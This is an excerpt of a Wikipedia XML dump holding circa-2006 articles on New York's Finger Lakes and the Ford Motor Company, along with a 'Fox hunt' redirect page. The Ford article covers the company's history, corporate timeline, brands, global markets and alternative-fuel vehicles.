      <text xml:space="preserve">[[Image:New York's Finger Lakes.jpg|thumb|300px|New York's Finger Lakes]]
The '''Finger Lakes''' are [[glacier |glacially]] formed lakes in [[upstate New York]], mainly linear in shape, each lake oriented on a north-south axis.  The longest, Cayuga Lake, is 40 miles from end to end, but never more than 3.5 miles wide and not atypical in shape, reminding early map-makers of the fingers of a hand. Considering their narrow width, both Cayuga and Seneca Lakes have a remarkable trait; they rival much larger [[Lake Ontario]] for depth, each more than 400 feet.

== The Finger Lakes ==
The 11 Finger Lakes from east to west:
&lt;!-- Unsourced image removed: [[Image:FingerLakes.jpeg|right|Map of region]] --&gt;

*[[Otisco Lake]]
*[[Skaneateles Lake]]
*[[Owasco Lake]]
*[[Cayuga Lake]]
*[[Seneca Lake]]
*[[Keuka Lake]]
*[[Canandaigua Lake]]
*[[Honeoye Lake]]
*[[Canadice Lake]]
*[[Hemlock Lake]]
*[[Conesus Lake]]

[[Oneida Lake]], to the northeast of [[Syracuse, New York]], is sometimes included as the &quot;thumb,&quot; although it is shallow and somewhat different in character from the rest. [[Onondaga Lake]], though located just north of the Finger Lakes region, is not considered one of the Finger Lakes.  '''Conesus''', '''Hemlock''', '''Canadice''', '''Honeoye''',  and '''Otisco''' are considered the minor Finger Lakes.  Other, smaller lakes, including Silver, Waneta, and Lamoka Lakes, dot this region.

== The Finger Lakes Region ==
Roughly the western half of the Finger Lakes region comprised the [[Phelps and Gorham Purchase]] of 1790, the largest land purchase in the world to that date. The Finger Lakes region, together with the [[Genesee Country]] of Western New York, has been referred to as the [[Burned-Over District]], where, in the [[19th century]], the [[Second Great Awakening]] was a revival of [[Christianity]], and some new [[religion]]s were also formed.

The Finger Lakes region is an important agricultural belt of New York. The state [[land-grant university|land grant institution]] is [[Cornell University]]. Its [[alma mater]] begins &quot;[[Far Above Cayuga's Waters]]&quot;, because it is on the hills overlooking the city of [[Ithaca, New York|Ithaca]] and the southern end of Cayuga Lake. Cornell also maintains the [[New York State Agricultural Experiment Station]] and horticultural [[seedbank|gene bank]] at [[Geneva, New York|Geneva]] on the north end of Seneca Lake.

The rolling land between the lakes is occupied with [[dairy]] farms, many of them owned by [[Amish]] and [[Mennonite]] families. These farms raise [[maize|corn]], [[hay]], [[wheat]], [[oat]]s, [[barley]], and [[soybean]]s. [[Cabbage]]s, [[sweetcorn]], and [[potato]]es are major vegetable crops. [[Maple syrup]] and [[honey]] are also local products.

[[Image:KeukaLake2192.JPG|right|frame|Vineyard near Keuka Lake [[Penn Yan, New York]]]]

Especially around Keuka Lake and the south ends of both Canandaigua and Seneca Lakes are many [[vineyard]]s and [[farm winery |wineries]] where one can often taste the [[wine]]s before purchasing them.  Most of the area was originally forested with [[oak]], [[maple]], [[chestnut]], [[ash_tree|ash]], [[Tsuga |hemlock]], and [[beech]] trees, but the [[Iroquois]] maintained, by annual burning, the land between Cayuga and Seneca Lakes as [[prairie]], with herds of [[American Bison|bison]], normally thought of as a western animal.  Today the Finger Lakes area is still known for [[fishing]] and [[hunting]]. Winter sports are also popular, with [[skiing]], [[snowmobile |snowmobling]] and [[ice fishing]] available.

The southern ends of the lakes are characterized by steeper hills and glacial ''[[hanging valley]]s'' which are [[tributary|tributaries]] that drop steeply to the lake, often with [[waterfall]]s. [[Taughannock_Falls_State_Park|Taughannock Falls State Park]], [[Fillmore Glen State Park |Fillmore Glen]], and [[Watkins Glen State Park|Watkins Glen]] are especially scenic examples that have been made into parks. The Village of [[Watkins Glen, New York|Watkins Glen]] is a producer of [[Sodium chloride|table salt]] and the site of an [[Watkins Glen International|auto racing course]].

== Finger Lake history ==
[[Hammondsport, New York |Hammondsport]] was the home of aviation pioneer [[Glenn Curtiss]], and the favorable air currents make the area a popular spot for [[glider]] pilots. [[Elmira, New York|Elmira]], just to the south, was the home of [[Mark Twain]] in his later life, and the site of an infamous [[Civil War prison]]. [[Corning, New York|Corning]] is most noted as the home of [[Corning Glass Works]]. [[Hornell, New York|Hornell]], just southwest of the Finger Lakes was a major [[railroad]] center. [[Locomotive]]s were repaired there until recently.

On the northern end of the Finger Lakes is also [[Seneca Falls (village), New York |Seneca Falls]], the birthplace of the [[Women's suffrage]] movement, [[Waterloo (village), New York|Waterloo]], the birthplace of [[Memorial Day]], and [[Palmyra (village), New York |Palmyra]], the birthplace of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]], also known as the [[Mormon]] Church.  An annual outdoor drama, The ''Hill Cumorah Pageant'', produced by the Mormons draws thousands of visitors each year.

== Educational institutes ==
The area is also known for education, with the largest institution being [[Cornell University]] in Ithaca. There is also the [[State University of New York at Geneseo]] and [[State University of New York at Cortland |Cortland]], [[Ithaca College]] in Ithaca, [[Hobart and William Smith Colleges]] in Geneva, [[Wells College]] in [[Aurora, New York|Aurora]], [[Keuka College]], and several [[community college]]s.

== External links ==
*[http://www.villaserendip.com/ Finger Lakes Bed and Breakfast Accommodations]
*[http://www.fingerlakes.org Finger Lakes information site]
*[http://www.stayfingerlakes.com/lastminute/ Finger Lakes Vacation Accommodations]
*[http://www.ars-grin.gov/gen/ Plant Genetics Resource Unit at Geneva]

{{Mapit-US-cityscale|42.75967|-76.94514}}
{{New_York}}


[[Category:Appellations]]
[[Category:Lakes of New York]]
[[Category:Wine regions of the United States]]

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  <page>
    <title>Fox hunt</title>
    <id>11093</id>
    <revision>
      <id>15908858</id>
      <timestamp>2002-08-07T13:15:01Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT[[Fox hunting]]</text>
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  <page>
    <title>Ford Motor Company</title>
    <id>11095</id>
    <revision>
      <id>42092767</id>
      <timestamp>2006-03-03T19:57:03Z</timestamp>
      <contributor>
        <ip>168.99.166.20</ip>
      </contributor>
      <text xml:space="preserve">{{redirect|Ford}}
{{Infobox_Company |
  company_name   = Ford Motor Company |
  company_logo   = [[Image:Ford_Motor_Company_logo.png|center|170px]] |
  company_type   = Public ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=F F]) |
  company_slogan = Built for the Road Ahead. |
  foundation     = 1903 |
  location       = [[Dearborn, Michigan]]&lt;br /&gt;[[List of Ford factories]] |
  key_people     = [[William Clay Ford, Jr.|William Ford, Jr.]] Chairman &amp; CEO |
  industry       = [[Automotive]] |
  num_employees  = 327,531 |
  products       = [[Aston Martin]]&lt;br /&gt;[[Ford]]&lt;br /&gt;[[Jaguar Cars|Jaguar]]&lt;br /&gt;[[Daimler|Daimler (div. of Jaguar)]]&lt;br /&gt;[[Land Rover]]&lt;br /&gt;[[Lincoln (automobile)|Lincoln]]&lt;br /&gt;[[Mazda]]&lt;br /&gt;[[Mercury (automobile)|Mercury]]&lt;br /&gt;[[Volvo|Volvo]] (cars only)|
  revenue        = [[Image:green up.png]]$178.1 billion [[United States dollar|USD]] (2005) [http://media.ford.com/article_display.cfm?article_id=22357]|
  homepage       = [http://www.ford.com/ www.ford.com]
}}
The '''Ford Motor Company''' (often referred to as '''Ford'''; sometimes called '''FoMoCo'''), {{NYSE|F}} is a [[multinational corporation]] that manufactures [[automobiles]]. The automaker was founded by [[Henry Ford]] in [[Dearborn, Michigan]], [[United States]] (where the company is currently headquartered), and incorporated on [[June 16]], [[1903]].  In its twentieth century heyday, Ford, along with [[General Motors]] and [[Chrysler]], were known as [[Detroit, Michigan|Detroit's]] &quot;Big Three&quot; automakers, companies that dominated the American auto market.  [[Toyota Motor|Toyota]] surpassed Ford in revenue starting in 2004.  Ford remains one of the world's [[Fortune Global 500|ten largest]] corporations by revenue.

Ford introduced methods for large-scale [[manufacturing]] of cars, and large-scale management of an industrial workforce. Ford implemented the ideas of [[Eli Whitney]], who developed one of the first [[assembly line]]s using [[American system of manufacturing|interchangeable parts]], which made it possible to put the cars together at a much lower cost and with greater reliability and repeatability. The use of a chain-driven track to move the vehicles to the workers was unique in the industry and quickly became the preferred method for volume production. As the individual work tasks became simple and repetitive this allowed the use of unskilled laborers who could be quickly trained for a single task (though it also removed most of the satisfaction that a worker performing multiple tasks may enjoy).

==Early history==
[[Image:Henry ford 1919.jpg|thumb|right|200px|Henry Ford (ca. 1919)]] 
[[Image:AssemblyLine.jpeg|thumb|right|200px|Ford assembly line (1913)]]
Ford was launched from a converted wagon factory, with $28,000 cash from twelve investors. During its early years, the company produced just a few cars a day at the Ford factory on Mack Avenue in Detroit. Groups of two or three men worked on each car from components made to order by other companies.

In 1908, the Ford company released the Ford [[Ford Model T|Model T]]. The first Model Ts were built at the Piquette Manufacturing Plant. The company was forced to move production to the much larger [[Highland Park, Michigan|Highland Park]] Plant to keep up with the demand for the Model T, and by 1913 had developed all of the basic techniques of the [[assembly line]] and mass production. Ford introduced the world's first moving assembly line on [[December 1]] that year, which reduced chassis assembly time from 12½ hours in October to 2 hours, 40 minutes. However these innovations were not popular, and in order to stop the staff deserting the monotonous jobs, on [[January 5]] [[1914]], Ford took the radical step of doubling pay to $5 a day, and cut shifts from nine hours to an eight hour day &amp;mdash; moves that were not popular with rival companies, although seeing the increase in Ford's [[productivity (economics)|productivity]], most soon followed suit.

By the end of 1913, Ford was producing 50% of all cars in the United States, and by 1918 half of all cars in the country were Model T's. Referring to the Model T, Henry Ford is reported to have said that &quot;any customer can have a car painted any color that he wants so long as it is black.&quot; This was because black paint was quickest to dry; earlier models had been available in a variety of colors. But most were black.

On [[January 1]], [[1919]], [[Edsel Ford]] succeeded his father as president of the company, although Henry Ford still kept a hand in management. The Ford company lost market share during the 1920s due to the rise of consumer credit. The company's goal was to produce an inexpensive automobile that any worker could afford. To keep prices low, Ford (at the behest of its owner, Henry Ford) offered few features. General Motors and other competitors began offering automobiles in more colors, and with more features and luxuries. They also extended credit so consumers could buy these more expensive automobiles. Ford resisted following suit, insisting that such credit would hurt the consumer and the economy. Due to market constraints, however, the company finally gave in and followed its competitors' lead when on [[December 2]], [[1927]], Ford unveiled the redesigned Ford [[Model A]] and retired the Model T.

In 1925, Ford expanded its reach into the luxury auto market through its acquisition of the [[Lincoln (automobile)|Lincoln Motor Company]], and the [[Mercury (automobile)|Mercury]] division was established in the 1930s to serve the mid-price auto market. {{ref|fordhistory}}

==Post World War II developments==
[[Henry Ford II]], grandson of Henry Ford, served as President from 1945-1960, and as Chairman and CEO from 1960-1980.  &quot;Hank the Deuce&quot; led Ford to became a [[publicly traded]] [[corporation]] in 1956.  However, the Ford family maintains about 40% controlling interests in the company, through a series of Class B [[preferred stock]]s.  

In the 1950s, Ford introduced the iconic [[Ford Thunderbird|Thunderbird]], and the [[Ford Mustang|Mustang]] in the 1960's.  By 1967, Ford of Europe was established.

[[Harold Arthur Poling|Harold Poling]] served as Chairman and CEO from 1990-1993.  [[Alexander Trotman, Baron Trotman|Alex Trotman]] was Chairman and CEO from 1993-1998, and [[Jacques Nasser]] served at the helm from 1999-2001.  Henry Ford's great-grandson, [[William Clay Ford Jr.]], is the company's current Chairman of the Board and CEO.

==General Corporate Timeline==

''source:  Ford Motor Company 2002 Annual Report'' 
[[Image:Henry Ford - Quadricycle, 1905.jpg|thumb|150px|Henry Ford and the Quadricycle]]
1896: Henry Ford builds his first vehicle – the [[Quadricycle]] – on a buggy frame with 4 bicycle wheels.

1901: Henry Ford wins high profile car race in Grosse Pointe, Mi.

1903: Ford Motor Company incorporated with 11 original investors.  The original [[Ford Model A|Model A]]  “Fordmobile” is introduced.

1908: [[Ford Model T|Model T]] is introduced.  15 million are produced through 1927.

1911: Ford opens first factory outside North America – in Manchester, England.

1913: The moving [[Assembly Line]] is introduced at Highland Park assembly plant, making Model T production 8 times faster.

1914: Ford introduces $5 workday [[minimum wage]] – double the existing rate.

1918: Construction of the [[River Rouge Plant|Rouge]] assembly complex begins.

1919: [[Edsel Ford]] succeeds Henry as Company President.

1922: Ford purchases [[Lincoln (automobile)|Lincoln Motor Company]] for US $8 million.

1925: Ford introduces [[Ford Tri-Motor]] airplane for airline services
[[Image:Ford Model A Fordor.jpg|right|thumb|150px|1928 Ford Model A]]
1927: Ford introduces the second generation [[Ford Model A|Model A]], from the Rouge complex.

1932: Ford introduces the one-piece cast [[V8]] block.

1936: [[Lincoln Zephyr]] is introduced.

1938: Mercury division is formed to fill the gap between economical Fords and luxury Lincolns.

1941: The [[Lincoln Continental]] is introduced.  Ford begins building general purpose “jeep” for the military.  First labor agreement with UAW-CIO covers North American employees.

1942: Production of civilian vehicles halted, diverting factory capacity to producing [[B-24 Liberator]] bombers, tanks, and other products for the war effort.

1943: Edsel Ford dies, Henry Ford resumes presidency for the duration of the war.
[[Image:HenryFordii250.jpg|thumb|right|120px|Henry Ford II]]
1945: Henry Ford II becomes president.

1946: The Whiz Kids – former US Army Air Force officers – hired to revitalize the Company.

1948:  [[Ford F-Series|F-1]] Truck introduced

1949:  The ’49 Ford introduces all-new post-war era cars.  The [[Station Wagon#The Woodie Wagon|&quot;Woody&quot;]] station wagon is introduced.

1954:  [[Ford Thunderbird|Thunderbird]] introduced as a personal luxury car with a [[V8]].  Ford begins crash testing.

1956: $10,000 [[Lincoln Continental]] Mark II introduced.  Ford goes public with common stock shares.

1959:  [[Ford Motor Credit Company|Ford Credit]] corporation formed to provide automotive financing.

1960:  [[Ford Galaxy]] and [[Ford Falcon]] introduced.

1964:  [[Ford Mustang]] and [[Ford GT40]] introduced.

1967:  Ford of Europe is established.

1970:  Ford establishes Asia Pacific operations.

1976:  Retractable seat belts introduced.

1979:  Ford acquires 25% stake in [[Mazda]].

1981:  [[Ford Escort]] introduced in the US.

1985:  [[Ford Taurus]] introduced with revolutionary “aero design” styling.

1987:  Ford acquires [[Aston Martin]] Lagonda and [[The Hertz Corporation|Hertz Rent-a-Car]].

1989:  Ford acquires [[Jaguar (car)|Jaguar]].

1990:  [[Mazda Miata|Mazda MX-5 Miata]] unveiled.

1991:  [[Ford Explorer]] introduced, making the rural/recreational [[Sport utility vehicle|SUV]] into a popular family vehicle.

1993:  Ford introduces standard equipment dual [[airbag]]s.

1996:  Ford certifies all plants in 26 countries to [[ISO 14001]] environmental standards.

1999:  Ford purchases [[Volvo Cars|Volvo]] (car division).  Bill Ford becomes Chairman of the Board.

2000:  Ford purchases [[Land Rover]] from the [[BMW]].

2001:  Retro-styled [[Ford Thunderbird]] is reintroduced.

2003:  Ford Motor Company 100th Anniversary.

==New directions for the twenty first century==
[[Image:William Clay Ford.jpg|frame|right|William Clay Ford Jr, Ford's current CEO.]]
In 2000, under the leadership of the current Ford chairman, William Clay (Bill) Ford, the Company  stunned the industry (and pleased environmentalists) with an
[http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=105&amp;STORY=/www/story/07-27-2000/0001276963 announcement] of a planned 25 percent improvement in the average mileage of its light truck fleet &amp;mdash; including its popular [[sport utility vehicle|SUV]]s &amp;mdash; to be completed by the 2005 calendar year.   However in 2003, Ford announced that competitive market conditions, and technological and cost challenges, would prevent the company from achieving this goal.   Ford did achieve significant progress toward improving fuel efficiency during 2005, with the successful introduction of the [[Ford Escape Hybrid|Hybrid-Electric Escape]].  The Escape's platform mate [[Mercury Mariner]] is also available with the hybrid-electric system in the 2006 model year&amp;mdash;a full year ahead of schedule&amp;mdash;due to high demand.  The similar [[Mazda Tribute]] will also receive a hybrid-electric powertrain option, along with many other vehicles in the Ford vehicle line.  Ford also continues to study [[Fuel Cell]]-powered electric powertrains, and is currently demonstrating hydrogen-fueled [[internal combustion engine]] technologies, as well as developing the next-generation hybrid-electric systems.

===2005 bond downgrade===
In May 2005, several bond rating agencies downgraded the bonds of Ford Motor Company to below investment grade (so called &quot;[[junk bond]]s&quot;). These downgrades were a recognition of high health care costs for an aging workforce and of the dependence of the company on profits from the sales of [[sport utility vehicle]]s. Due to higher fuel prices, there has been a decrease in the profits on these vehicles owing to &quot;incentives&quot; (in the form of rebates or low interest financing), which were needed due to declining sales. Foreign manufacturers, not having the truck manufacturing capabilities to form a platform base for similar vehicles, have instead introduced so called [[Crossover SUV|&quot;crossover&quot; SUV's]] &amp;mdash; vehicles built on an automobile or minivan platform rather than a truck chassis. These vehicles have proven to be very popular in the market, and Ford has introduced such vehicles as the [[Ford Escape|Escape]] (including a [[Ford Escape Hybrid|Hybrid-Electric]] version), along with the similar [[Mercury Mariner]] and [[Mazda Tribute]], and the [[Ford Freestyle|Freestyle]] and [[Volvo XC70]] and [[Volvo XC90]] crossover SUVs.  In the fall of 2006, Ford is scheduled to introduce the 2007 [[Ford Edge]], [[Lincoln MKX]], and [[Mazda CX-7]].  These vehicles were revealed at the 2006 [[North American International Auto Show]] and other car shows. 

As far as the other non-truck models, many (with the notable exception of the 2005 [[Ford Mustang|Mustang]]) have been disadvantaged in the marketplace owing to a perception by buyers that foreign manufactures (especially [[Toyota]], [[Honda]], and [[Hyundai]]) deliver better value in terms of fuel economy, reliability, and build quality. These perceptions are reflected in the used car market by higher values for these foreign models. For owners who frequently trade in and for those who lease their vehicles, the resale values are reflected in substantial cost differences with domestic vehicles costing more in overall costs.  However, Ford hopes to reverse this trend, with the introduction of the new 2006 [[Ford Fusion (North American)|Ford Fusion]], [[Mercury Milan]], and [[Lincoln Zephyr]] midsize cars, which are expected to compete well in this segment.

===&quot;The Way Forward&quot;===
:''{{mainarticle|[[The Way Forward]]}}''
Ford responded to the circumstances that lead to the bond downgrade by creating a plan to reduce the company's fixed capital costs while maintaining a special focus on cars and car-based crossover vehicles.  Over time, it hopes to make more of its product line profitable instead of relying on a limited portion of the products for profit.  Making good profits across the product line requires that the company reduce the costs of development and production, while introducing new products that connect with consumers.

In the latter half of 2005, Chairman Bill Ford asked newly-appointed Ford Americas Division President [[Mark Fields (businessman)|Mark Fields]] to develop a plan to return the company to profitability.  Fields previewed the Plan, dubbed &quot;The Way Forward&quot;, at the [[December 7]], [[2005]] board meeting of the company; and it was unveiled to the public on [[January 23]], [[2006]].  &quot;[http://media.ford.com/article_display.cfm?article_id=22465 The Way Forward]&quot; includes [http://media.ford.com/article_display.cfm?article_id=22464 resizing the company] to match current market realities, dropping some unprofitable and inefficient models, consolidating production lines, and shutting down seven vehicle assembly plants and seven parts factories.  Among these are plants in [[St. Louis Assembly]] (near [[St. Louis, Missouri|St. Louis]]), [[Atlanta Assembly]] (near [[Atlanta, Georgia|Atlanta]]), [[Batavia Transmission]] ([[Batavia, Ohio]]), [[Windsor Casting]] ([[Windsor, Ontario]], [[Canada]]), and [[Wixom Assembly]] ([[Wixom, Michigan]]).  Up to 30,000 hourly and salaried jobs (28% of the total workforce) in North America over the next six years are expected to be eliminated {{ref|23Jan-washpost}}, which is comparable to similar cutbacks previously announced at [[General Motors]].  These cutbacks are consistent with Ford's roughly 25% decline in U.S. automotive market share since the mid-late 1990s.

Ford's realignment also included the sale of its wholly-owned [[subsidiary]], [[The Hertz Corporation|Hertz Rent-a-Car]] to a [[private equity]] group for $15 billion in cash and debt acquisition.  The sale was completed on [[December 22]] [[2005]].  A [[joint venture]] with [[Mahindra and Mahindra Limited]] of [[India]] ended with the sale of Ford's 15 percent stake in 2005.

== Brands and marques ==
[[Image:2000 Ford Taurus.jpg|thumb|250px|A [[Ford Taurus]], one of Ford's most recognizable North American models.]]
Today, Ford Motor Company manufactures automobiles under the  [[Lincoln (automobile)|Lincoln]] and [[Mercury (automobile)|Mercury]] [[Brand management|brand]] names. In 1958, Ford introduced a new [[marque]], the [[Edsel]], but [[List of commercial failures|poor sales]] led to its discontinuation in 1960. Later, in 1985, the [[Merkur]] brand was introduced; it met a similar fate in 1989.

Ford has major manufacturing [[List of Ford factories|operations]] in [[Canada]], [[Mexico]], the [[United Kingdom]], [[Germany]], [[Brazil]], [[Argentina]], [[Australia]], [[China]], and several other countries, including [[South Africa]] where, following divestment during [[apartheid]], it once again has a wholly-owned subsidiary. Ford also has a cooperative agreement with Russian automaker [[GAZ]].

Since 1989, Ford has acquired [[List of British car manufacturers#United Kingdom|British nameplates]] [[Aston Martin]], [[Jaguar (car)|Jaguar]], [[Daimler|Daimler (div. of Jaguar)]], and [[Land Rover]], and [[Volvo Cars]] from [[Sweden]], as well as a controlling share (33.4%) of [[Mazda]] of Japan, with which it operates an American [[joint venture]] plant in Flat Rock, Michigan called [[Auto Alliance]]. It has spun off its parts division under the name [[Visteon]]. Its prestige brands, with the exception of Lincoln, are managed through its [[Premier Automotive Group]].

Ford's non-manufacturing operations include organizations such as automotive finance operation [[Ford Motor Credit Company]]. Ford also sponsors numerous events and sports facilities around the nation, most noteably [[Ford Center]] in downtown [[Oklahoma City]] and [[Ford Field]] in downtown [[Detroit]]. It is also noteable that both facilities share design aesthetics in addition to their common name and similar downtown location!

== Global markets ==
Initially, Ford models sold outside the U.S. were essentially versions of those sold on the home market, but later on, models specific to Europe were developed and sold.  Attempts to globalize the model line have often failed, with Europe's [[Ford Mondeo]] selling poorly in the United States, while U.S. models such as the [[Ford Taurus]] have fared poorly in [[Japan]] and Australia, even when produced in [[right hand drive]]. The small European model [[Ford Ka|Ka]], a hit in its home market, did not catch on in Japan, as it was not available as an automatic. The Mondeo was dropped by [[Ford Australia]], because the segment of the market in which it competes had been in steady decline, with buyers preferring the larger local model, the [[Ford Falcon|Falcon]]. One recent exception is the [[Ford Focus|Focus]] &amp;mdash; The European model has sold strongly on both sides of the [[Atlantic]].

===Europe===
[[Image:ford.cortina.red.750pix.jpg|thumb|250px|1970 [[Ford Cortina]] Mark 2]]
At first, Ford in Germany and the United Kingdom built different models from one another until the late 1960s, with the [[Ford Escort]] and then the [[Ford Capri]] being common to both companies. Later on, the [[Ford Taunus]] and [[Ford Cortina]] became identical, produced in [[left hand drive]] and right hand drive respectively. Rationalisation of model ranges meant that production of many models in the UK switched to elsewhere in Europe, including [[Belgium]] and [[Spain]] as well as Germany. The [[Ford Sierra]] replaced the Taunus and Cortina in 1982, drawing criticism for its radical aerodynamic styling, which was soon given nicknames such as &quot;Jellymould&quot; and &quot;The Salesman's Spaceship&quot;.

Increasingly, Ford Motor Company has looked to Ford of Europe for its &quot;world cars,&quot; such as the Mondeo, [[Ford Focus|Focus]], and [[Ford Fiesta|Fiesta]], although sales of European-sourced Fords in the U.S. have been disappointing. In [[Asia]], models from Europe are not as competitively priced as Japanese-built rivals, nor are they perceived as reliable. The Focus has been one exception to this, which has become America's best selling compact car since its launch in 2000.

In 2001, Ford ended car production in the UK. It was the first time in more than eighty years that Ford cars had not been made in Britain, although production of the [[Ford Transit|Transit]] van continues at the company's Southampton facility, engines at [[Bridgend]] and [[Dagenham]], and transmissions at [[Halewood]]. Development of European Ford is broadly split between [[Dunton]] in Essex (powertrain, Fiesta/Ka and commercial vehicles) and [[Cologne]] (body, chassis, electrical, Focus, Mondeo) in Germany. Ford also produced the [[Thames Trader|Thames]] range of commercial vehicles although the use of this brand name was discontinued circa 1965. It owns the Jaguar, Land Rover, and Aston Martin car plants in Britain which are still operational.  Ford's Halewood Assembly Plant was converted to Jaguar production.  

Elsewhere in continental Europe, Ford assembles the [[Ford Mondeo|Mondeo]] range in [[Genk]] ([[Belgium]]), Fiesta in [[Valencia]] ([[Spain]]) and [[Cologne]] ([[Germany]]), Ka in Valencia and Focus in Valencia, [[Saarlouis]] (Germany) and [[St. Petersberg]] ([[Russia]]). Transit production is in [[Kocaeli]] ([[Turkey]]), [[Southampton]] (UK), and Transit Connect in [[Kocaeli]].

Ford also owns a joint venture production plant in [[Turkey]]. Ford-Otosan, established in the 1970s, manufactures the [[Transit Connect]] compact panel van as well as the &quot;Jumbo&quot; and long wheelbase versions of the full-size Transit. This new production facility was set up near [[Kocaeli]] in 2002, and its opening marked the end of Transit assembly in Genk. Another joint venture plant near [[Setubal]] in [[Portugal]], set up in collaboration with [[Volkswagen]], assembles the [[Ford Galaxy|Galaxy]] people carrier as well as its sister ship, the [[VW Sharan]].

===Asia Pacific===
[[Image:Ford Falcon XR6 Turbo.jpg|thumb|250px|right|Ford XR6 Turbo Falcon]]
In [[Australia]] and [[New Zealand]], the popular [[Ford Falcon]] is considered the typical (if not particularly economical) family car, though it is considerably larger than the Mondeo sold in Europe. Between 1960 and 1972, the Falcon was based on a U.S. Ford of that name, but since then has been entirely  designed and manufactured locally. Like its [[General Motors]] rival, the [[Holden Commodore]], the 4.0 liter Falcon retains rear wheel drive. High performance variants of the Falcon running locally-built engines produce up to 390bhp. A [[ute]] (short for &quot;utility,&quot; known in the US as [[pickup truck]]) version is also available with a similar range of drivetrains.  In addition, Ford Australia sells highly-tuned Falcon sedans and utes through its performance car division, [[Ford Performance Vehicles]].  These cars produce over 400bhp and are built in small numbers to increase their value as collectors' cars.

In both Australia and New Zealand, the Commodore and Falcon outsell all other cars. In Australia they comprise over 20% of the new car market.

Ford's presence in Asia has traditionally been much smaller. However, with the acquisition of a stake in Japanese manufacturer [[Mazda]] in 1979, Ford began selling Mazda's Familia and Capella (also known as the [[Mazda 323|323]] and [[Mazda 626|626]]) as the [[Ford Laser]] and [[Ford Telstar|Telstar]]. The Laser was one of the most successful models sold by Ford in Australia, and outsold the Mazda 323, despite being almost identical to it. The Laser was also built in Mexico and sold in the U.S. as the Mercury Tracer, while the 1989 American Ford Escort was based on the Laser/Mazda 323. The smaller [[Mazda 121]] was also sold in the U.S. and Asia as the Ford Festiva.

Through its relationship with Mazda, Ford also acquired a stake in [[South Korea]]n manufacturer [[Kia]], which later built the [[Ford Aspire]] for export to the United States, but later sold the company to [[Hyundai Motor Company|Hyundai]]. Ironically, Hyundai also manufactured the Ford Cortina until the 1980s. Ford also has a joint venture with Lio Ho in [[Taiwan]], which assembled Ford models locally since the 1970s.

Ford came to [[India]] in 1998 with its [[Ford Escort]] model, which was later replaced by locally produced [[Ford Ikon]] in 2001. It has since added Fusion, Fiesta, Mondeo and Endeavour to its product line.

===South America===
In [[South America]], Ford has had to face protectionist government measures in each country, with the result that it built different models in different countries, without particular regard to rationalisation or economy of scale inherent to producing and sharing similar vehicles between the nations.  In many cases, new vehicles in a country were based on those of the other manufacturers it had entered into production agreements with, or whose factories it had acquired. For example, the [[Ford Corcel|Corcel]] and [[Ford Del Rey|Del Rey]] in Brazil were originally based on [[Renault]] vehicles.  

In the 1980s, Ford merged its operations in Brazil and Argentina with those of [[Volkswagen]] to form a company called [[Autolatina]], with which it shared models.  Sales figures and profitability were disappointing, and Autolatina was dissolved in the 1990s. With the advent of [[Mercosur]], the regional common market, Ford was finally able to rationalise its product line-ups in those countries. Consequently, the [[Ford Fiesta]] is only built in [[Brazil]], and the [[Ford Focus]] only built in Argentina, with each plant exporting in large volumes to the neighbouring country. Models like the [[Ford Mondeo]] from Europe could now be imported completely built up. Ford in Brazil produces a pick-up truck version of the Fiesta, which is also produced in South Africa as the [[Ford Bantam]] in [[Side of the road (traffic)#Steering wheel placement|right hand drive]] versions.

===Africa and Middle East===
In [[Africa]] and the [[Middle East]], Ford's market presence has traditionally been strongest in [[South Africa]] and neighbouring countries, with only trucks being sold elsewhere on the continent. Ford in South Africa began by importing kits from Canada to be assembled at its Port Elizabeth facility. Later Ford sourced its models from the UK and Australia, with local versions of the Ford Cortina including the XR6, with a 3.0 V6 engine, and a Cortina 'bakkie' or pick-up, which was exported to the UK. In the mid-1980s Ford merged with a rival company, owned by [[Anglo American plc|Anglo American]], to form the South African Motor Corporation (Samcor). 

Following international condemnation of [[apartheid]], Ford divested from South Africa in 1988, and sold its stake in Samcor, although it licensed the use of its brand name to the company. Samcor began to assemble Mazdas as well, which affected its product line-up, which saw the European Fords like the Escort and Sierra replaced by the [[Mazda]]-based Laser and [[Telstar]]. Ford bought a 45 per cent stake in [[Samcor]] following the demise of apartheid in 1994, and this later became, once again, a wholly owned subsidiary, the Ford Motor Company of Southern Africa. Ford now sells a local sedan version of the Fiesta (also built in India and Mexico), and the Focus and Mondeo Europe. The Falcon model from Australia was also sold in South Africa, but was dropped in 2003.

Ford's market presence in the [[Middle East]] has traditionally been even smaller, partly due to previous [[Arab]] boycotts of companies dealing with [[Israel]]. Ford and Lincoln vehicles are currently marketed in ten countries in the region. [http://www.ford.com/en/company/about/countrySites/default.htm] [[Saudi Arabia]], [[Kuwait]], and the [[UAE]] are the biggest markets. [http://www.autoemirates.com/SpecialReports/0216Industry-Leaders.asp] Ford's distributor in Saudi Arabia announced in February 2003 that it had sold 100,000 Ford and Lincoln vehicles since commencing sales in November 1986. Half of the Ford/Lincoln vehicles sold in that country were [[Ford Crown Victoria]]s. [http://media.ford.com/article_display.cfm?article_id=14319] In 2004, Ford sold 30,000 units in the region, falling far short of [[General Motors]]' 88,852 units and [[Nissan Motors]]' 75,000 units. [http://www.autoemirates.com/SpecialReports/0216Industry-Leaders.asp]

==Alternate fuel vehicles==
[[Image:Ford escape hybrid.jpg|thumb|right|225px|[[Ford Escape Hybrid]]]]
Bill Ford was one of the first top industry executives to make regular use of an [[battery electric vehicle]], a [[Ford Ranger EV]], while the company contracted with the [[United States Postal Service]] to deliver electric postal vans based on the Ranger EV platform. Many Ford vehicles now sport an emblem &amp;mdash; a green leaf springing from a curving road-like twig &amp;mdash; symbolic of the new &quot;green&quot; commitment to preserve the environment and reduce resource consumption, while delivering safe, economical, and effective products to the motoring public.  Vehicles with this emblem are generally [[alternative fuel]] or [[flexible-fuel vehicle]]s.  The alternative fuel vehicles, such as some versions of the [[Crown Victoria]] especially in fleet and taxi service, operate on [[compressed natural gas]] - or [[CNG]].  Some CNG vehicles have duel fuel tanks - one for gasoline, the other for CNG - the same engine can operate on either fuel via a selector switch.  Flexible fuel vehicles are designed to operate automatically on a wide range of available fuel mixtures - from pure gasoline, to [[ethanol]]-gasoline blends such as [[E85]] (85% ethanol, 15% gasoline).  Part of the challenge of successful marketing alternative and flexible fuel vehicles, is the general lack of establishment of sufficient [[infrastructure]] (fueling stations), which would be essential for these vehicles to be attractive to a wide range of consumers.

